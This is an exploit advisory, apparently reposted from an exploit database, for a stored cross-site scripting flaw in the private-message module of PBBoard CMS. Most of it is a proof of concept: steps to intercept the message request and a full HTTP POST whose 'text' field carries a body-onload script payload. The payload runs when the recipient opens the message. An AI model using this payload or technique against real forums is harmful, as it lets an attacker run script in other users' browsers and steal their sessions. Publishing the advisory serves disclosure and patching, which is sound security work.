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PBBoard CMS - Stored XSS Vulnerability
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# Exploit Title : PBBoard CMS Stored xss vulnerability
# Author : Manish Kishan Tanwar
# Vendor : http://www.pbboard.info/
# version affected: all
# Date : 7/12/2014
# Discovered @ : INDISHELL Lab
# Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti
# email : [email protected]
##############################################################################
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/// Overview:
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Program PBBoard is interactive Forum management program Dialogic
Free classified software Free and open source.
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// Vulnerability Description:
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Stored xss vulnerability exist in "send private message" module, a user can send xss crafted private message to other user, and when reciever will open the message xss payload will execute
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/// Proof of Concept: -
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go to "inbox", click "compose message"
type username, title and message body , intercept the request and change the
content of "text" parameter with xss payload
when reciever will open the message, xss payload will execute
Proof image:- http://oi57.tinypic.com/112d5cx.jpg
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///Demo POC Request///
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POST /PBBoard_v3.0.1/index.php?page=pm_send&send=1&start=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/PBBoard_v3.0.1/index.php?page=pm_send&send=1&index=1&username=ica
Cookie: PowerBB_lastvisit=1417951132; PowerBB_username=ica; PowerBB_password=8a2d334536b2f4146af8cf46acd85110; security_level=0;PHPSESSID=thouojqch98pigioioepn8n2h1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147872036312473
Content-Length: 670
-----------------------------147872036312473
Content-Disposition: form-data; name="to[]"
ica
-----------------------------147872036312473
Content-Disposition: form-data; name="title"
hi
-----------------------------147872036312473
Content-Disposition: form-data; name="text"
hii</div><font color=red><body onload="prompt( String.fromCharCode(120,115,115,32,116,101,115,116));">//
-----------------------------147872036312473
Content-Disposition: form-data; name="icon"
look/images/icons/i1.gif
-----------------------------147872036312473
Content-Disposition: form-data; name="insert"
Save
-----------------------------147872036312473--
# 0day.today [2018-04-10] #Data
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10 Dec 2014 00:00Current
7.1High risk
Vulners AI Score7.1